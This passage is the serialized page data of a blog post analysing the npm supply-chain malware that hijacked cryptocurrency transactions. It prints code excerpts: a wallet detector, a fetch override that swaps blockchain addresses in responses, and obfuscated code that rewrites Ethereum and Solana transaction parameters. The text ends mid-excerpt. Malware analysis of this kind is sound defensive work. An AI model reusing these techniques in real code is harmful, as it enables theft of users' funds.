safe.","2025-09-13T12:00:00.000Z",{"src":110362,"width":16,"height":17},"/posts/supply-chain-attcks/title.png",[110364,110365],"npm","supply-chain",{"type":22,"children":110367,"toc":112775},[110368,110381,110386,110391,110397,110402,110410,110740,110748,111311,111319,112026,112032,112037,112043,112048,112053,112059,112064,112076,112081,112107,112194,112206,112231,112247,112252,112257,112463,112505,112510,112522,112528,112540,112582,112595,112675,112687,112700,112707,112718,112726,112732,112745,112750,112754,112759,112771],{"type":25,"tag":26,"props":110369,"children":110370},{},[110371,110373,110379],{"type":30,"value":110372},"The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":25,"tag":264,"props":110374,"children":110376},{"className":110375},[],[110377],{"type":30,"value":110378},"chalk",{"type":30,"value":110380},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":25,"tag":26,"props":110382,"children":110383},{},[110384],{"type":30,"value":110385},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.",{"type":25,"tag":26,"props":110387,"children":110388},{},[110389],{"type":30,"value":110390},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":25,"tag":96,"props":110392,"children":110394},{"id":110393},"qix-malware-how-it-worked",[110395],{"type":30,"value":110396},"Qix Malware: How It Worked",{"type":25,"tag":26,"props":110398,"children":110399},{},[110400],{"type":30,"value":110401},"The attacker published modified versions of packages with code designed to do three things:",{"type":25,"tag":661,"props":110403,"children":110404},{},[110405],{"type":25,"tag":112,"props":110406,"children":110407},{},[110408],{"type":30,"value":110409},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":25,"tag":7764,"props":110411,"children":110413},{"code":110412,"language":44477,"meta":7,"className":44475,"style":7},"async function checkethereumw() {\n  try {\n    const _0x124ed3 = await window.ethereum.request({\n      'method': \"eth_accounts\"\n    });\n    if (_0x124ed3.length > 0) {\n      runmask();\n      if (rund != 1) {\n        rund = 1;\n        neth = 1;\n        newdlocal();\n      }\n    } else if (rund != 1) {\n      rund = 1;\n      newdlocal();\n    }\n  }\n}\n",[110414],{"type":25,"tag":264,"props":110415,"children":110416},{"__ignoreMap":7},[110417,110437,110449,110493,110510,110517,110553,110565,110593,110613,110633,110645,110652,110687,110707,110719,110726,110733],{"type":25,"tag":271,"props":110418,"children":110419},{"class":13593,"line":13594},[110420,110424,110428,110433],{"type":25,"tag":271,"props":110421,"children":110422},{"style":14289},[110423],{"type":30,"value":49257},{"type":25,"tag":271,"props":110425,"children":110426},{"style":14289},[110427],{"type":30,"value":51324},{"type":25,"tag":271,"props":110429,"children":110430},{"style":13620},[110431],{"type":30,"value":110432}," checkethereumw",{"type":25,"tag":271,"props":110434,"children":110435},{"style":13625},[110436],{"type":30,"value":28858},{"type":25,"tag":271,"props":110438,"children":110439},{"class":13593,"line":11641},[110440,110445],{"type":25,"tag":271,"props":110441,"children":110442},{"style":16171},[110443],{"type":30,"value":110444},"  try",{"type":25,"tag":271,"props":110446,"children":110447},{"style":13625},[110448],{"type":30,"value":16431},{"type":25,"tag":271,"props":110450,"children":110451},{"class":13593,"line":14354},[110452,110456,110461,110465,110469,110473,110477,110481,110485,110489],{"type":25,"tag":271,"props":110453,"children":110454},{"style":14289},[110455],{"type":30,"value":64784},{"type":25,"tag":271,"props":110457,"children":110458},{"style":13598},[110459],{"type":30,"value":110460}," _0x124ed3",{"type":25,"tag":271,"props":110462,"children":110463},{"style":13603},[110464],{"type":30,"value":16155},{"type":25,"tag":271,"props":110466,"children":110467},{"style":16171},[110468],{"type":30,"value":49323},{"type":25,"tag":271,"props":110470,"children":110471},{"style":13598},[110472],{"type":30,"value":44520},{"type":25,"tag":271,"props":110474,"children":110475},{"style":13625},[110476],{"type":30,"value":1860},{"type":25,"tag":271,"props":110478,"children":110479},{"style":13598},[110480],{"type":30,"value":44529},{"type":25,"tag":271,"props":110482,"children":110483},{"style":13625},[110484],{"type":30,"value":1860},{"type":25,"tag":271,"props":110486,"children":110487},{"style":13620},[110488],{"type":30,"value":44605},{"type":25,"tag":271,"props":110490,"children":110491},{"style":13625},[110492],{"type":30,"value":28262},{"type":25,"tag":271,"props":110494,"children":110495},{"class":13593,"line":14391},[110496,110501,110505],{"type":25,"tag":271,"props":110497,"children":110498},{"style":17388},[110499],{"type":30,"value":110500},"      'method'",{"type":25,"tag":271,"props":110502,"children":110503},{"style":13598},[110504],{"type":30,"value":359},{"type":25,"tag":271,"props":110506,"children":110507},{"style":17388},[110508],{"type":30,"value":110509}," \"eth_accounts\"\n",{"type":25,"tag":271,"props":110511,"children":110512},{"class":13593,"line":14400},[110513],{"type":25,"tag":271,"props":110514,"children":110515},{"style":13625},[110516],{"type":30,"value":45369},{"type":25,"tag":271,"props":110518,"children":110519},{"class":13593,"line":16406},[110520,110524,110528,110533,110537,110541,110545,110549],{"type":25,"tag":271,"props":110521,"children":110522},{"style":16171},[110523],{"type":30,"value":25404},{"type":25,"tag":271,"props":110525,"children":110526},{"style":13625},[110527],{"type":30,"value":16213},{"type":25,"tag":271,"props":110529,"children":110530},{"style":13598},[110531],{"type":30,"value":110532},"_0x124ed3",{"type":25,"tag":271,"props":110534,"children":110535},{"style":13625},[110536],{"type":30,"value":1860},{"type":25,"tag":271,"props":110538,"children":110539},{"style":13598},[110540],{"type":30,"value":21624},{"type":25,"tag":271,"props":110542,"children":110543},{"style":13603},[110544],{"type":30,"value":27315},{"type":25,"tag":271,"props":110546,"children":110547},{"style":16187},[110548],{"type":30,"value":16190},{"type":25,"tag":271,"props":110550,"children":110551},{"style":13625},[110552],{"type":30,"value":27925},{"type":25,"tag":271,"props":110554,"children":110555},{"class":13593,"line":16434},[110556,110561],{"type":25,"tag":271,"props":110557,"children":110558},{"style":13620},[110559],{"type":30,"value":110560},"      runmask",{"type":25,"tag":271,"props":110562,"children":110563},{"style":13625},[110564],{"type":30,"value":16820},{"type":25,"tag":271,"props":110566,"children":110567},{"class":13593,"line":16447},[110568,110572,110576,110581,110585,110589],{"type":25,"tag":271,"props":110569,"children":110570},{"style":16171},[110571],{"type":30,"value":52397},{"type":25,"tag":271,"props":110573,"children":110574},{"style":13625},[110575],{"type":30,"value":16213},{"type":25,"tag":271,"props":110577,"children":110578},{"style":13598},[110579],{"type":30,"value":110580},"rund",{"type":25,"tag":271,"props":110582,"children":110583},{"style":13603},[110584],{"type":30,"value":77501},{"type":25,"tag":271,"props":110586,"children":110587},{"style":16187},[110588],{"type":30,"value":17654},{"type":25,"tag":271,"props":110590,"children":110591},{"style":13625},[110592],{"type":30,"value":27925},{"type":25,"tag":271,"props":110594,"children":110595},{"class":13593,"line":16465},[110596,110601,110605,110609],{"type":25,"tag":271,"props":110597,"children":110598},{"style":13598},[110599],{"type":30,"value":110600},"        rund",{"type":25,"tag":271,"props":110602,"children":110603},{"style":13603},[110604],{"type":30,"value":16155},{"type":25,"tag":271,"props":110606,"children":110607},{"style":16187},[110608],{"type":30,"value":17654},{"type":25,"tag":271,"props":110610,"children":110611},{"style":13625},[110612],{"type":30,"value":16165},{"type":25,"tag":271,"props":110614,"children":110615},{"class":13593,"line":16486},[110616,110621,110625,110629],{"type":25,"tag":271,"props":110617,"children":110618},{"style":13598},[110619],{"type":30,"value":110620},"        neth",{"type":25,"tag":271,"props":110622,"children":110623},{"style":13603},[110624],{"type":30,"value":16155},{"type":25,"tag":271,"props":110626,"children":110627},{"style":16187},[110628],{"type":30,"value":17654},{"type":25,"tag":271,"props":110630,"children":110631},{"style":13625},[110632],{"type":30,"value":16165},{"type":25,"tag":271,"props":110634,"children":110635},{"class":13593,"line":16495},[110636,110641],{"type":25,"tag":271,"props":110637,"children":110638},{"style":13620},[110639],{"type":30,"value":110640},"        newdlocal",{"type":25,"tag":271,"props":110642,"children":110643},{"style":13625},[110644],{"type":30,"value":16820},{"type":25,"tag":271,"props":110646,"children":110647},{"class":13593,"line":16744},[110648],{"type":25,"tag":271,"props":110649,"children":110650},{"style":13625},[110651],{"type":30,"value":25789},{"type":25,"tag":271,"props":110653,"children":110654},{"class":13593,"line":16761},[110655,110659,110663,110667,110671,110675,110679,110683],{"type":25,"tag":271,"props":110656,"children":110657},{"style":13625},[110658],{"type":30,"value":28901},{"type":25,"tag":271,"props":110660,"children":110661},{"style":16171},[110662],{"type":30,"value":16458},{"type":25,"tag":271,"props":110664,"children":110665},{"style":16171},[110666],{"type":30,"value":28910},{"type":25,"tag":271,"props":110668,"children":110669},{"style":13625},[110670],{"type":30,"value":16213},{"type":25,"tag":271,"props":110672,"children":110673},{"style":13598},[110674],{"type":30,"value":110580},{"type":25,"tag":271,"props":110676,"children":110677},{"style":13603},[110678],{"type":30,"value":77501},{"type":25,"tag":271,"props":110680,"children":110681},{"style":16187},[110682],{"type":30,"value":17654},{"type":25,"tag":271,"props":110684,"children":110685},{"style":13625},[110686],{"type":30,"value":27925},{"type":25,"tag":271,"props":110688,"children":110689},{"class":13593,"line":16778},[110690,110695,110699,110703],{"type":25,"tag":271,"props":110691,"children":110692},{"style":13598},[110693],{"type":30,"value":110694},"      rund",{"type":25,"tag":271,"props":110696,"children":110697},{"style":13603},[110698],{"type":30,"value":16155},{"type":25,"tag":271,"props":110700,"children":110701},{"style":16187},[110702],{"type":30,"value":17654},{"type":25,"tag":271,"props":110704,"children":110705},{"style":13625},[110706],{"type":30,"value":16165},{"type":25,"tag":271,"props":110708,"children":110709},{"class":13593,"line":16791},[110710,110715],{"type":25,"tag":271,"props":110711,"children":110712},{"style":13620},[110713],{"type":30,"value":110714},"      newdlocal",{"type":25,"tag":271,"props":110716,"children":110717},{"style":13625},[110718],{"type":30,"value":16820},{"type":25,"tag":271,"props":110720,"children":110721},{"class":13593,"line":16800},[110722],{"type":25,"tag":271,"props":110723,"children":110724},{"style":13625},[110725],{"type":30,"value":16501},{"type":25,"tag":271,"props":110727,"children":110728},{"class":13593,"line":16823},[110729],{"type":25,"tag":271,"props":110730,"children":110731},{"style":13625},[110732],{"type":30,"value":19003},{"type":25,"tag":271,"props":110734,"children":110735},{"class":13593,"line":16832},[110736],{"type":25,"tag":271,"props":110737,"children":110738},{"style":13625},[110739],{"type":30,"value":17058},{"type":25,"tag":661,"props":110741,"children":110742},{"start":11641},[110743],{"type":25,"tag":112,"props":110744,"children":110745},{},[110746],{"type":30,"value":110747},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":25,"tag":7764,"props":110749,"children":110751},{"code":110750,"language":44477,"meta":7,"className":44475,"style":7},"fetch = async function (...args) {\n  const originalResponse = await originalFetch.call(this, ...args);\n  const contentType = originalResponse.headers.get('Content-Type') || '';\n  let data;\n  if (contentType.includes('application/json')) {\n    data = await originalResponse.clone().json();\n  } else {\n    data = await originalResponse.clone().text();\n  }\n  const processedData = replaceAddresses(data);\n  const finalResponseText =\n    typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n  const finalResponse = new Response(finalResponseText, {\n    status: originalResponse.status,\n    statusText: originalResponse.statusText,\n    headers: originalResponse.headers,\n  });\n  return finalResponse;\n};\n",[110752],{"type":25,"tag":264,"props":110753,"children":110754},{"__ignoreMap":7},[110755,110790,110847,110909,110924,110961,111000,111015,111054,111061,111094,111110,111169,111207,111232,111257,111281,111289,111304],{"type":25,"tag":271,"props":110756,"children":110757},{"class":13593,"line":13594},[110758,110762,110766,110770,110774,110778,110782,110786],{"type":25,"tag":271,"props":110759,"children":110760},{"style":13620},[110761],{"type":30,"value":47207},{"type":25,"tag":271,"props":110763,"children":110764},{"style":13603},[110765],{"type":30,"value":16155},{"type":25,"tag":271,"props":110767,"children":110768},{"style":14289},[110769],{"type":30,"value":49477},{"type":25,"tag":271,"props":110771,"children":110772},{"style":14289},[110773],{"type":30,"value":51324},{"type":25,"tag":271,"props":110775,"children":110776},{"style":13625},[110777],{"type":30,"value":16213},{"type":25,"tag":271,"props":110779,"children":110780},{"style":13603},[110781],{"type":30,"value":22714},{"type":25,"tag":271,"props":110783,"children":110784},{"style":13598},[110785],{"type":30,"value":51338},{"type":25,"tag":271,"props":110787,"children":110788},{"style":13625},[110789],{"type":30,"value":27925},{"type":25,"tag":271,"props":110791,"children":110792},{"class":13593,"line":11641},[110793,110797,110802,110806,110810,110815,110819,110823,110827,110831,110835,110839,110843],{"type":25,"tag":271,"props":110794,"children":110795},{"style":14289},[110796],{"type":30,"value":49300},{"type":25,"tag":271,"props":110798,"children":110799},{"style":13598},[110800],{"type":30,"value":110801}," originalResponse",{"type":25,"tag":271,"props":110803,"children":110804},{"style":13603},[110805],{"type":30,"value":16155},{"type":25,"tag":271,"props":110807,"children":110808},{"style":16171},[110809],{"type":30,"value":49323},{"type":25,"tag":271,"props":110811,"children":110812},{"style":13598},[110813],{"type":30,"value":110814}," originalFetch",{"type":25,"tag":271,"props":110816,"children":110817},{"style":13625},[110818],{"type":30,"value":1860},{"type":25,"tag":271,"props":110820,"children":110821},{"style":13620},[110822],{"type":30,"value":51406},{"type":25,"tag":271,"props":110824,"children":110825},{"style":13625},[110826],{"type":30,"value":394},{"type":25,"tag":271,"props":110828,"children":110829},{"style":14289},[110830],{"type":30,"value":30815},{"type":25,"tag":271,"props":110832,"children":110833},{"style":13625},[110834],{"type":30,"value":44},{"type":25,"tag":271,"props":110836,"children":110837},{"style":13603},[110838],{"type":30,"value":22714},{"type":25,"tag":271,"props":110840,"children":110841},{"style":13598},[110842],{"type":30,"value":51338},{"type":25,"tag":271,"props":110844,"children":110845},{"style":13625},[110846],{"type":30,"value":13665},{"type":25,"tag":271,"props":110848,"children":110849},{"class":13593,"line":14354},[110850,110854,110859,110863,110867,110871,110876,110880,110884,110888,110893,110897,110901,110905],{"type":25,"tag":271,"props":110851,"children":110852},{"style":14289},[110853],{"type":30,"value":49300},{"type":25,"tag":271,"props":110855,"children":110856},{"style":13598},[110857],{"type":30,"value":110858}," contentType",{"type":25,"tag":271,"props":110860,"children":110861},{"style":13603},[110862],{"type":30,"value":16155},{"type":25,"tag":271,"props":110864,"children":110865},{"style":13598},[110866],{"type":30,"value":110801},{"type":25,"tag":271,"props":110868,"children":110869},{"style":13625},[110870],{"type":30,"value":1860},{"type":25,"tag":271,"props":110872,"children":110873},{"style":13598},[110874],{"type":30,"value":110875},"headers",{"type":25,"tag":271,"props":110877,"children":110878},{"style":13625},[110879],{"type":30,"value":1860},{"type":25,"tag":271,"props":110881,"children":110882},{"style":13620},[110883],{"type":30,"value":29474},{"type":25,"tag":271,"props":110885,"children":110886},{"style":13625},[110887],{"type":30,"value":394},{"type":25,"tag":271,"props":110889,"children":110890},{"style":17388},[110891],{"type":30,"value":110892},"'Content-Type'",{"type":25,"tag":271,"props":110894,"children":110895},{"style":13625},[110896],{"type":30,"value":14406},{"type":25,"tag":271,"props":110898,"children":110899},{"style":13603},[110900],{"type":30,"value":35518},{"type":25,"tag":271,"props":110902,"children":110903},{"style":17388},[110904],{"type":30,"value":44951},{"type":25,"tag":271,"props":110906,"children":110907},{"style":13625},[110908],{"type":30,"value":16165},{"type":25,"tag":271,"props":110910,"children":110911},{"class":13593,"line":14391},[110912,110916,110920],{"type":25,"tag":271,"props":110913,"children":110914},{"style":14289},[110915],{"type":30,"value":20977},{"type":25,"tag":271,"props":110917,"children":110918},{"style":13598},[110919],{"type":30,"value":28226},{"type":25,"tag":271,"props":110921,"children":110922},{"style":13625},[110923],{"type":30,"value":16165},{"type":25,"tag":271,"props":110925,"children":110926},{"class":13593,"line":14400},[110927,110931,110935,110940,110944,110948,110952,110957],{"type":25,"tag":271,"props":110928,"children":110929},{"style":16171},[110930],{"type":30,"value":44506},{"type":25,"tag":271,"props":110932,"children":110933},{"style":13625},[110934],{"type":30,"value":16213},{"type":25,"tag":271,"props":110936,"children":110937},{"style":13598},[110938],{"type":30,"value":110939},"contentType",{"type":25,"tag":271,"props":110941,"children":110942},{"style":13625},[110943],{"type":30,"value":1860},{"type":25,"tag":271,"props":110945,"children":110946},{"style":13620},[110947],{"type":30,"value":48292},{"type":25,"tag":271,"props":110949,"children":110950},{"style":13625},[110951],{"type":30,"value":394},{"type":25,"tag":271,"props":110953,"children":110954},{"style":17388},[110955],{"type":30,"value":110956},"'application/json'",{"type":25,"tag":271,"props":110958,"children":110959},{"style":13625},[110960],{"type":30,"value":48305},{"type":25,"tag":271,"props":110962,"children":110963},{"class":13593,"line":16406},[110964,110968,110972,110976,110980,110984,110988,110992,110996],{"type":25,"tag":271,"props":110965,"children":110966},{"style":13598},[110967],{"type":30,"value":56344},{"type":25,"tag":271,"props":110969,"children":110970},{"style":13603},[110971],{"type":30,"value":16155},{"type":25,"tag":271,"props":110973,"children":110974},{"style":16171},[110975],{"type":30,"value":49323},{"type":25,"tag":271,"props":110977,"children":110978},{"style":13598},[110979],{"type":30,"value":110801},{"type":25,"tag":271,"props":110981,"children":110982},{"style":13625},[110983],{"type":30,"value":1860},{"type":25,"tag":271,"props":110985,"children":110986},{"style":13620},[110987],{"type":30,"value":28541},{"type":25,"tag":271,"props":110989,"children":110990},{"style":13625},[110991],{"type":30,"value":43280},{"type":25,"tag":271,"props":110993,"children":110994},{"style":13620},[110995],{"type":30,"value":47110},{"type":25,"tag":271,"props":110997,"children":110998},{"style":13625},[110999],{"type":30,"value":16820},{"type":25,"tag":271,"props":111001,"children":111002},{"class":13593,"line":16434},[111003,111007,111011],{"type":25,"tag":271,"props":111004,"children":111005},{"style":13625},[111006],{"type":30,"value":44580},{"type":25,"tag":271,"props":111008,"children":111009},{"style":16171},[111010],{"type":30,"value":16458},{"type":25,"tag":271,"props":111012,"children":111013},{"style":13625},[111014],{"type":30,"value":16431},{"type":25,"tag":271,"props":111016,"children":111017},{"class":13593,"line":16447},[111018,111022,111026,111030,111034,111038,111042,111046,111050],{"type":25,"tag":271,"props":111019,"children":111020},{"style":13598},[111021],{"type":30,"value":56344},{"type":25,"tag":271,"props":111023,"children":111024},{"style":13603},[111025],{"type":30,"value":16155},{"type":25,"tag":271,"props":111027,"children":111028},{"style":16171},[111029],{"type":30,"value":49323},{"type":25,"tag":271,"props":111031,"children":111032},{"style":13598},[111033],{"type":30,"value":110801},{"type":25,"tag":271,"props":111035,"children":111036},{"style":13625},[111037],{"type":30,"value":1860},{"type":25,"tag":271,"props":111039,"children":111040},{"style":13620},[111041],{"type":30,"value":28541},{"type":25,"tag":271,"props":111043,"children":111044},{"style":13625},[111045],{"type":30,"value":43280},{"type":25,"tag":271,"props":111047,"children":111048},{"style":13620},[111049],{"type":30,"value":30},{"type":25,"tag":271,"props":111051,"children":111052},{"style":13625},[111053],{"type":30,"value":16820},{"type":25,"tag":271,"props":111055,"children":111056},{"class":13593,"line":16465},[111057],{"type":25,"tag":271,"props":111058,"children":111059},{"style":13625},[111060],{"type":30,"value":19003},{"type":25,"tag":271,"props":111062,"children":111063},{"class":13593,"line":16486},[111064,111068,111073,111077,111082,111086,111090],{"type":25,"tag":271,"props":111065,"children":111066},{"style":14289},[111067],{"type":30,"value":49300},{"type":25,"tag":271,"props":111069,"children":111070},{"style":13598},[111071],{"type":30,"value":111072}," processedData",{"type":25,"tag":271,"props":111074,"children":111075},{"style":13603},[111076],{"type":30,"value":16155},{"type":25,"tag":271,"props":111078,"children":111079},{"style":13620},[111080],{"type":30,"value":111081}," replaceAddresses",{"type":25,"tag":271,"props":111083,"children":111084},{"style":13625},[111085],{"type":30,"value":394},{"type":25,"tag":271,"props":111087,"children":111088},{"style":13598},[111089],{"type":30,"value":10346},{"type":25,"tag":271,"props":111091,"children":111092},{"style":13625},[111093],{"type":30,"value":13665},{"type":25,"tag":271,"props":111095,"children":111096},{"class":13593,"line":16495},[111097,111101,111106],{"type":25,"tag":271,"props":111098,"children":111099},{"style":14289},[111100],{"type":30,"value":49300},{"type":25,"tag":271,"props":111102,"children":111103},{"style":13598},[111104],{"type":30,"value":111105}," finalResponseText",{"type":25,"tag":271,"props":111107,"children":111108},{"style":13603},[111109],{"type":30,"value":48967},{"type":25,"tag":271,"props":111111,"children":111112},{"class":13593,"line":16744},[111113,111118,111122,111126,111131,111136,111140,111144,111148,111152,111156,111160,111165],{"type":25,"tag":271,"props":111114,"children":111115},{"style":14289},[111116],{"type":30,"value":111117},"    typeof",{"type":25,"tag":271,"props":111119,"children":111120},{"style":13598},[111121],{"type":30,"value":111072},{"type":25,"tag":271,"props":111123,"children":111124},{"style":13603},[111125],{"type":30,"value":44534},{"type":25,"tag":271,"props":111127,"children":111128},{"style":17388},[111129],{"type":30,"value":111130}," 'string'",{"type":25,"tag":271,"props":111132,"children":111133},{"style":13603},[111134],{"type":30,"value":111135}," ?",{"type":25,"tag":271,"props":111137,"children":111138},{"style":13598},[111139],{"type":30,"value":111072},{"type":25,"tag":271,"props":111141,"children":111142},{"style":13603},[111143],{"type":30,"value":48227},{"type":25,"tag":271,"props":111145,"children":111146},{"style":13598},[111147],{"type":30,"value":50639},{"type":25,"tag":271,"props":111149,"children":111150},{"style":13625},[111151],{"type":30,"value":1860},{"type":25,"tag":271,"props":111153,"children":111154},{"style":13620},[111155],{"type":30,"value":52343},{"type":25,"tag":271,"props":111157,"children":111158},{"style":13625},[111159],{"type":30,"value":394},{"type":25,"tag":271,"props":111161,"children":111162},{"style":13598},[111163],{"type":30,"value":111164},"processedData",{"type":25,"tag":271,"props":111166,"children":111167},{"style":13625},[111168],{"type":30,"value":13665},{"type":25,"tag":271,"props":111170,"children":111171},{"class":13593,"line":16761},[111172,111176,111181,111185,111189,111194,111198,111203],{"type":25,"tag":271,"props":111173,"children":111174},{"style":14289},[111175],{"type":30,"value":49300},{"type":25,"tag":271,"props":111177,"children":111178},{"style":13598},[111179],{"type":30,"value":111180}," finalResponse",{"type":25,"tag":271,"props":111182,"children":111183},{"style":13603},[111184],{"type":30,"value":16155},{"type":25,"tag":271,"props":111186,"children":111187},{"style":14289},[111188],{"type":30,"value":45045},{"type":25,"tag":271,"props":111190,"children":111191},{"style":13620},[111192],{"type":30,"value":111193}," Response",{"type":25,"tag":271,"props":111195,"children":111196},{"style":13625},[111197],{"type":30,"value":394},{"type":25,"tag":271,"props":111199,"children":111200},{"style":13598},[111201],{"type":30,"value":111202},"finalResponseText",{"type":25,"tag":271,"props":111204,"children":111205},{"style":13625},[111206],{"type":30,"value":61998},{"type":25,"tag":271,"props":111208,"children":111209},{"class":13593,"line":16778},[111210,111215,111219,111223,111228],{"type":25,"tag":271,"props":111211,"children":111212},{"style":13598},[111213],{"type":30,"value":111214},"    status:",{"type":25,"tag":271,"props":111216,"children":111217},{"style":13598},[111218],{"type":30,"value":110801},{"type":25,"tag":271,"props":111220,"children":111221},{"style":13625},[111222],{"type":30,"value":1860},{"type":25,"tag":271,"props":111224,"children":111225},{"style":13598},[111226],{"type":30,"value":111227},"status",{"type":25,"tag":271,"props":111229,"children":111230},{"style":13625},[111231],{"type":30,"value":14351},{"type":25,"tag":271,"props":111233,"children":111234},{"class":13593,"line":16791},[111235,111240,111244,111248,111253],{"type":25,"tag":271,"props":111236,"children":111237},{"style":13598},[111238],{"type":30,"value":111239},"    statusText:",{"type":25,"tag":271,"props":111241,"children":111242},{"style":13598},[111243],{"type":30,"value":110801},{"type":25,"tag":271,"props":111245,"children":111246},{"style":13625},[111247],{"type":30,"value":1860},{"type":25,"tag":271,"props":111249,"children":111250},{"style":13598},[111251],{"type":30,"value":111252},"statusText",{"type":25,"tag":271,"props":111254,"children":111255},{"style":13625},[111256],{"type":30,"value":14351},{"type":25,"tag":271,"props":111258,"children":111259},{"class":13593,"line":16800},[111260,111265,111269,111273,111277],{"type":25,"tag":271,"props":111261,"children":111262},{"style":13598},[111263],{"type":30,"value":111264},"    headers:",{"type":25,"tag":271,"props":111266,"children":111267},{"style":13598},[111268],{"type":30,"value":110801},{"type":25,"tag":271,"props":111270,"children":111271},{"style":13625},[111272],{"type":30,"value":1860},{"type":25,"tag":271,"props":111274,"children":111275},{"style":13598},[111276],{"type":30,"value":110875},{"type":25,"tag":271,"props":111278,"children":111279},{"style":13625},[111280],{"type":30,"value":14351},{"type":25,"tag":271,"props":111282,"children":111283},{"class":13593,"line":16823},[111284],{"type":25,"tag":271,"props":111285,"children":111286},{"style":13625},[111287],{"type":30,"value":111288},"  });\n",{"type":25,"tag":271,"props":111290,"children":111291},{"class":13593,"line":16832},[111292,111296,111300],{"type":25,"tag":271,"props":111293,"children":111294},{"style":16171},[111295],{"type":30,"value":52309},{"type":25,"tag":271,"props":111297,"children":111298},{"style":13598},[111299],{"type":30,"value":111180},{"type":25,"tag":271,"props":111301,"children":111302},{"style":13625},[111303],{"type":30,"value":16165},{"type":25,"tag":271,"props":111305,"children":111306},{"class":13593,"line":16841},[111307],{"type":25,"tag":271,"props":111308,"children":111309},{"style":13625},[111310],{"type":30,"value":29700},{"type":25,"tag":661,"props":111312,"children":111313},{"start":14354},[111314],{"type":25,"tag":112,"props":111315,"children":111316},{},[111317],{"type":30,"value":111318},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":25,"tag":7764,"props":111320,"children":111322},{"code":111321,"language":44477,"meta":7,"className":44475,"style":7},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n  try {\n    const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n    _0x2c3d7e.params[0] = _0x39ad21;\n  } catch (_0x226343) {}\n} else {\n  if (\n    (_0x2c3d7e.method === 'solana_signTransaction' ||\n      _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n    _0x2c3d7e.params &&\n    _0x2c3d7e.params[0]\n  ) {\n    try {\n      let _0x5ad975 = _0x2c3d7e.params[0];\n      if (_0x5ad975.transaction) {\n        _0x5ad975 = _0x5ad975.transaction;\n      }\n      const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n      if (_0x2c3d7e.params[0].transaction) {\n        _0x2c3d7e.params[0].transaction = _0x5dbe63;\n      } else {\n        _0x2c3d7e.params[0] = _0x5dbe63;\n      }\n    } catch (_0x4b99fd) {}\n  }\n}\n",[111323],{"type":25,"tag":264,"props":111324,"children":111325},{"__ignoreMap":7},[111326,111405,111416,111473,111513,111538,111553,111564,111598,111631,111650,111677,111685,111696,111736,111765,111793,111800,111840,111883,111927,111942,111981,111988,112012,112019],{"type":25,"tag":271,"props":111327,"children":111328},{"class":13593,"line":13594},[111329,111333,111337,111342,111346,111350,111354,111359,111363,111368,111372,111377,111381,111385,111389,111393,111397,111401],{"type":25,"tag":271,"props":111330,"children":111331},{"style":16171},[111332],{"type":30,"value":28701},{"type":25,"tag":271,"props":111334,"children":111335},{"style":13625},[111336],{"type":30,"value":16213},{"type":25,"tag":271,"props":111338,"children":111339},{"style":13598},[111340],{"type":30,"value":111341},"_0x2c3d7e",{"type":25,"tag":271,"props":111343,"children":111344},{"style":13625},[111345],{"type":30,"value":1860},{"type":25,"tag":271,"props":111347,"children":111348},{"style":13598},[111349],{"type":30,"value":51423},{"type":25,"tag":271,"props":111351,"children":111352},{"style":13603},[111353],{"type":30,"value":44534},{"type":25,"tag":271,"props":111355,"children":111356},{"style":17388},[111357],{"type":30,"value":111358}," 'eth_sendTransaction'",{"type":25,"tag":271,"props":111360,"children":111361},{"style":13603},[111362],{"type":30,"value":27306},{"type":25,"tag":271,"props":111364,"children":111365},{"style":13598},[111366],{"type":30,"value":111367}," _0x2c3d7e",{"type":25,"tag":271,"props":111369,"children":111370},{"style":13625},[111371],{"type":30,"value":1860},{"type":25,"tag":271,"props":111373,"children":111374},{"style":13598},[111375],{"type":30,"value":111376},"params",{"type":25,"tag":271,"props":111378,"children":111379},{"style":13603},[111380],{"type":30,"value":27306},{"type":25,"tag":271,"props":111382,"children":111383},{"style":13598},[111384],{"type":30,"value":111367},{"type":25,"tag":271,"props":111386,"children":111387},{"style":13625},[111388],{"type":30,"value":1860},{"type":25,"tag":271,"props":111390,"children":111391},{"style":13598},[111392],{"type":30,"value":111376},{"type":25,"tag":271,"props":111394,"children":111395},{"style":13625},[111396],{"type":30,"value":5604},{"type":25,"tag":271,"props":111398,"children":111399},{"style":16187},[111400],{"type":30,"value":953},{"type":25,"tag":271,"props":111402,"children":111403},{"style":13625},[111404],{"type":30,"value":53735},{"type":25,"tag":271,"props":111406,"children":111407},{"class":13593,"line":11641},[111408,111412],{"type":25,"tag":271,"props":111409,"children":111410},{"style":16171},[111411],{"type":30,"value":110444},{"type":25,"tag":271,"props":111413,"children":111414},{"style":13625},[111415],{"type":30,"value":16431},{"type":25,"tag":271,"props":111417,"children":111418},{"class":13593,"line":14354},[111419,111423,111428,111432,111437,111441,111445,111449,111453,111457,111461,111465,111469],{"type":25,"tag":271,"props":111420,"children":111421},{"style":14289},[111422],{"type":30,"value":64784},{"type":25,"tag":271,"props":111424,"children":111425},{"style":13598},[111426],{"type":30,"value":111427}," _0x39ad21",{"type":25,"tag":271,"props":111429,"children":111430},{"style":13603},[111431],{"type":30,"value":16155},{"type":25,"tag":271,"props":111433,"children":111434},{"style":13620},[111435],{"type":30,"value":111436}," 